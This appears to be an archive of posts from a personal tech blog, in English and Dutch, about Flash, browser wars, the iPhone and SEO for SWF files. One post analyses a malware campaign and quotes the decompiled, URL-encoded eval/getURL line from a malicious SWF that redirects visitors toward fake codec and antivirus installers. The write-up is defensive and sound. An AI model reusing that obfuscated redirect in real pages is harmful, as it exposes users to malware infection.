New powerful iPhone with Flash preinstalled in q4?

So Adobe is working with Apple and “hope[s] to have Flash installed on over a million shipped devices by the end of the year“?
If you consider that:

  1. The (ARM11-based) CPU in the current iPhone is said to lack the raw power to run CPU-intensive applications like Flash
  2. Adobe has teamed up with ARM to optimize Flash on their processors and especially on the new ARM Cortex (which has been confirmed to be the CPU in the Palm Pré, which seems a great iPhone-competitor)
  3. “shipped devices” seems to imply that Flash would come pre-installed
  4. Apple sells more than 1 million devices each month (based on the past 2 quarters)

So we can expect a new ARM Cortex-based iPhone in time for the EOY holiday sales?

Voorspellingen 2009: browser-oorlog, ook mobiel

ballmer vs jobs: mobile (and/or) browser war (from iphoneblog.com)Naar aanleiding van de publicatie van de voorspellingen van 20 online experts door Netlash, zijn dit enkele van mijn verwachtingen voor het web in 2009;

  • Uw job als (front-end) webdeveloper (of tester) wordt er door de grotere concurrentie tussen browsers niet eenvoudiger op. Ge zult niet alleen moeten ontwikkelen voor Internet Explorer (het nieuwe IE8, maar ook nog altijd voor het verwenste MSIE6 en voor versie 7 natuurlijk) en Firefox, maar ook voor Safari en Google Chrome. Samen zullen deze Webkit-gebaseerde browsers eind 2009 immers tot 15% van de browsermarkt pakken (nu al 9%), tegenover 25% voor Firefox (nu 21%) en pakweg 60% voor (MS)IE (nu nog 68%). Gelukkig zult ge wel iets meer kunnen terugvallen op standaarden (MSIE6 buiten beschouwing gelaten) en zullen componenten als JQuery, YUI of Dojo uw cross-browser inspanningen blijvend verlichten.
  • Bling-developers mogen die dure cursussen Silverlight en JavaFX annuleren, Adobe blijft immers oppermachtig met Flash en -ondanks de gigantische hype in 2008 in veel mindere mate- met het nauw verwante Flex. 2009 zal overigens niet het jaar van Flash op mobile zijn. Een volwaardige versie van Flash voor GSM’s zal immers pas op het einde van het jaar uitkomen en zal dan nog enkel vlot werken op smartphones met ARM Cortex gebaseerde processoren, die nu ook nog niet te koop zijn.
  • Webagencies staan voor een belangrijke uitdaging; “mobiel internet” groeit (mede dankzij krachtige Webkit-gebaseerde mobile browsers) zowel aan vraag- als aanbodkant en kosten-bewuste klanten zullen convergentie tussen hun mobiele en hun “gewone” website hoog op het verlanglijstje hebben staan. Mobiel web wordt dé groeipool, ge kunt dus maar beter mee zijn, zowel functioneel (“mobile usability“) als technisch (er is meer dan Mobile Safari, niet iedereen heeft een uitgebreid toetsenbord en device-dependant rendering is een moving target).

En voor een recessie tenslotte, heb ik in 2009 echt geen tijd. U ook niet, toch?

Firefox 3.1; Mozilla Corp’s answer to Google Chrome

Firefox 3.1 is just around the corner and I’ve been using the beta’s for a couple of months now, but I didn’t really feel the urge to write about it up until now. But with things heating up between Google Chrome (already out of beta!), Safari and Firefox and with new versions of MS Internet Explorer and Opera in the making as well, one can’t really stay indifferent I guess?
First off; a non-exhaustive list of changes;

So if FF3.1 performs that great in Sunspider, does it really feel that much faster as well? To be honest; it doesn’t. Or at least, it didn’t, at first. But here’s a tip; if you’re a bit like me you’re bound to have a lot of extensions installed (and disabled and uninstalled and not compatible and …), you might have some forgotten tweak in your about:config and you probably have huge history and bookmark-databases. In that case do yourself a favor and start from scratch with a new profile and Firefox 3.1 will truly fly.
Off course not all is perfect. I don’t like the fact that tabs inadvertently get moved to a window of their own regularly. And Flash still crashes FF all too often, Firefox really needs something like the process isolation in Google Chrome and MS IE8’s loosely coupled IE, but that might be more than just a small CR.
All in all, with Firefox 3.1 the Mozilla-folks seem to have almost everything to fight the new kid in town. You can download the latest beta here and test for yourself. Let those browser-wars rage!

Nasty blog, scary flash, why are you attacking me?

Yesterday I noticed that all of a sudden no less then 6 new sites linked to this small-time blog. Great huh? Except when checking out those blogs (all on google’s blogger-platform by the way), I quickly saw they were fake, attempting to trick users into installing malware on their windows PC’s.
Being the curious would-be hacker I am, I took the plunge to see how these guys go about trying to infect careless users;
  1. the blogpost contains what seems to be a youtube movie, but which actually is just a animated gif with a link behind it
  2. when clicking “the movie” to play, a swf-file is downloaded (blog.swf)
  3. that blog.swf (which i downloaded on my linux-box and decompiled on the commandline using flare) contains this simple code:
    • this.getURL(‘javascript:eval(unescape(‘%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%20%3D%20%22%2F%2F%6D%30%38%62%2E%63%6F%6D%2F%69%6E%2E%63%67%69%3F%64%65%66%61%75%6C%74%22%3B’))’);
    • which translates roughtly into go to http://m08b.com/in.cgi?default
  4. and that URL then takes you for a rollercoaster ride, going through several redirector-sites before arriving on a dark corner of the web where you’re told to install an activeX-component to watch a movie or a codec or sometimes even be told (the irony) to install antivirus software from some unknown company.

Some lessons learned;

  • Flash is evil (or it can be) as it allows attackers to hide malicious code inside a nice looking (and binary) swf-file.
  • Don’t trust the incoming links functionality google’s blogsearch provides (i switched back to technorati for the ‘binnenkomers’-widget on my blog)
  • The ‘report web forgery‘ function in Firefox (under ‘help’) works great. Use it!

Eindelijk gevonden: het journaal op deredactie.be

Ik heb een alternatieve “journaal-player” voor de VRT bij elkaar gehackt, want op deredactie.be vind ik mijn gading niet. Pas op, ik ben een fan van de VRT nieuwsdienst. Echt! Maar op deredactie.be staat er echt te veel om mijn aandacht te schreeuwen. Te veel video, te veel nieuwsgeticker op elke pagina, op heel de site. Als ik een gewoon artikeltje zou zijn, ik zou me ook bedeesd in een hoekje van de pagina terugtrekken, stilletjes hopend dat iemand me toch zou opmerken.
En het Journaal, dat komt er vreemd genoeg dus ook amper aan bod. Het Journaal, ge weet wel, dat programma op televisie waarin ze al die clipjes uit die videoband aan elkaar plakken? Een zekere “Sponzen Ridder” wilde onlangs online naar het VRT nieuws kijken (iets over banken ofzo?) en dat ging als volgt;

Dus ging ik naar www.vrtnieuws.net. Daar vond ik een band met voorbijzwevende flash-filmpjes, echter geen journaal. Ik klikte helemaal bovenin de pagina op “nieuws”. Niets. Ik klikte vijf centimeter lager drie centimeter meer naar rechts op “journaal 7”. Clipjes. Geen overzicht, niks. Voorbijschuivende filmpjes, zonder inzicht in de structuur, of een soort inhoudstafel. Toen ging ik naar www.vtm.be, klikte op “nieuwsuitzendingen” en kon mooi en selectief de verschillende onderdelen bekijken van de afgelopen week vol nieuwsuitzendingen.

Volledig mee eens! Op deredactie.be hoort een grote knop “Bekijk Het Journaal” en als je daarop klikt, dan kom je op een pagina waar niets anders op moet staan dan zo een player en een inhoudtafel. Maar omdat dat er dus niet staat, ben ik zelf aan de slag gegaan.
Wat extra info voor de “technisch begiftigden”;

  • die verschrikkelijk opdringerige videoband bovenaan deredactie.be haalt een xml-bestand (atom) af om te weten wat er beschikbaar is voor publicatie (dank U firebug)
  • dat atom-bestand verwijst naar programma-specifieke atom-files met daarin titel, linken naar flv, mp4 en wmv-bestanden in lage en hoge kwaliteit en naar een thumbnail
  • met dat 2de atom-bestand maak ik een media-rss-bestand met per item de titel, link naar image en link naar één video-bestand (ik koos voor de mp4, standaard in lage kwaliteit)
  • dat media-rss bestand wordt dan zonder verpinken ingelezen als playlist door de magnifieke JW FLV-player, die op die manier volautomatisch de flash-interface inclusief de “inhoudstafel” opbouwt.

Hey Adobe; get your Flash together

Flash sucks! Really! It crashes my Firefox all too often (every few days, especially when behind our company proxy) and playing Flash movies consumes way too much CPU-power for my liking. Apparently Mozilla and Adobe are blaming each other with regard to some of these problems, but this really seems to be a Flash-issue;

Moreover, I found a great howto on “Bort’s w3bl0g” about how to wrap Flash inside NSPluginWrapper in (Ubuntu) Linux, isolating Firefox from Flash-crashes. I’ll try that over the weekend, but it sure looks great!
But anyway; Adobe, get your shit together!

Whack your Flash-crazy boss on the head with his iPhone3G!

Whatever you may think about the iPhone-hype, you’ll have to admit that the fact that it doesn’t do Flash makes for great ammunition in the discussion against developing your site’s core functionality in Flash.
Next time your CEO or marketing manager wants a Flex-only website, you won’t have to talk about some obscure geek who doesn’t want to install the Flash plugin, about that poor blind woman who is not able to “read” those Flash animations or about how Google indexing SWF-files might be more of a problem then a solution. No, instead, you’ll only have to point out it won’t work on his iPhone (*). Period.

(*) It won’t work on other mobile devices either; Flash Lite, which ships on e.g. Symbian and Windows Mobile powered devices, is not able to display those millions of fancy animations out there on the WWW either.

.

RIA or POIA?

I went to a Dolmen-organized seminar about RIA‘s today, where some smart people talked about GWT, Flex and JavaFX. I hooked up with an old acquaintance there, he was a customer of my previous employer actually, working in banking and finance. We exchanged ideas about when and more importantly when not to use RIA-technologies. I just now received a mail from him as well, in which he wrote (roughly translated from Dutch);

I’ll keep you posted on our findings concerning RIA as well, but when I tried to visit www.parleys.com at work just now, all I saw was a black screen. In that case I prefer those PIA’s; they might not be that fancy, but they do work.

I couldn’t agree more, Poor Plain Old Internet Applications for president!

Don’t let Google fool you; tame your Flash!

As I wrote some time ago, Google indeed does index Flash. Great? Well, maybe not: you might even lose valuable site visits this way! This is because Google does not direct users to the page on your site that contains the Flash (as it does for image search results), but to the standalone SWF-file. That means that people doing a normal search in Google, will in some circumstances get high-ranking links straight to your Flash-files instead of to your website and that these prospects will not be drawn into your website’s sales funnel at all. So much for SEO.
Solutions? Well, you could refrain from using Flash all together, there’s too much of that stuff around anyhow. Or you could prohibit googlebot (and others) from indexing swf-files by specifying this in your robots.txt-file.
These are both great remedies, but somehow I think not everyone will agree. So what if we could perform some ActionScript-magic to make a Flash-file force itself in its correct context? Although I am not a (Flash-)developer by any account, I hacked together a small demo (in ActionScript 2) to show how that could be done.

And indeed, if you point your browser to the standalone swf-file, you’ll see you are redirected to this page. How this is accomplished? Quite easily actually;

  1. add a flashvar (e.g. “embedded=true”) to the object/embed tags in the html
  2. check for the value of that flashvar in the first frame of your movie:
    var embedTrue=_root.embedded;
    if (embedTrue=="true") {
         // all normal flashyness goes here
         stop();
    }
    else {
         gotoAndPlay(2);
         stop();
    }
  3. and in frame 2 we do the redirect to the correct url:
    onEnterFrame = function() {
    // weird, stupid test to avoid this from being executed more than once
    if (!runOnce) {
    		var targetUrl = "http://blog.futtta.be/2008/05/06/";
    		geturl(targetUrl);
    		runOnce="1";
    	}
    }
    stop();

I’m sure the code stinks and it indeed is only actionscript2 and not 3, but maybe someone out there can build something usefull out of this general idea. And if not, I’ve had fun learning some (very) basic actionscripting. Now off to “Add/remove software” to get rid of that hog of an IDE! 🙂

Google lust Flash, maar willen we dat wel?

Ge weet het, ik ben geen fan van sites die geheel of grotendeels Flash-gebaseerd zijn (idem voor Flex of MS Silverlight, vanzelfsprekend). Daarvoor geloof ik te sterk in de kracht van gestandardiseerde html, css en javascript en hecht ik te veel belang aan toegankelijkheid, gebruiksvriendelijkheid en ‘searchability’.
Maar met de  ‘searchability’ van Flash zit het blijkbaar dan toch wel snor; Google indexeert blijkbaar ook swf-bestanden (flash dus). De “do no evil”-zoekgoden maken daarvoor gebruik van de Adobe Search Engine SDK die onder andere een applicatie bevat om (html-)strings uit een swf-file te halen. Swf2html lijkt qua functionaliteit gelijkaardig aan swfstrings, onderdeel van het open source swftools.
Dat Google nu ook Flash indexeert, is echter niet altijd ideaal. Probeer bijvoorbeeld een eenvoudige zoekopdracht naar “student woon samen sparen kbc“. Het 3de (!) zoekresultaat is een link naar een “instructie-filmpje” over de KBC Spaarservice. Normaal gezien krijg je die presentatie enkel in de KBC-site te zien, maar dankzij Google wordt het flash-bestand zonder die context ontsloten. Ik durf te wedden dat dat toch niet echt de bedoeling is? En dat een grootbank of webcommunicatie-bureau vermoedelijk toch prefereert dat zoekresultaten naar de site (van de klant) gaan, in plaats van naar het individueel geindexeerde flash-bestand?
Mijn mening over flash blijft dan ook grotendeels onveranderd:

  1. geef de zoveel mogelijk de voorkeur aan ‘plain old html’, zeker voor navigatie
  2. gebruik flash enkel voor pagina-elementen en niet voor hele pagina’s
  3. gebruik flash enkel als die technologie een duidelijke meerwaarde biedt (voor video of iets game-achtigs bv)
  4. zorg voor een beschrijving van de inhoud van de flash in de html (in de div waar de flash wordt geplaatst, of in noscript-tags)
  5. mijn enige nieuwe advies: voorkom dat swf-files worden geïndexeerd (dmv robots.txt) of voeg code toe aan je flash, zodat die enkel in de juiste context getoond wordt (ik veronderstel toch dat dat kan, zoals ook een html-pagina met wat javascript in de juiste iframe-context kan gedwongen worden?).

Om af te sluiten nog een bijzonder leerrijk (flash-)filmpje misschiens?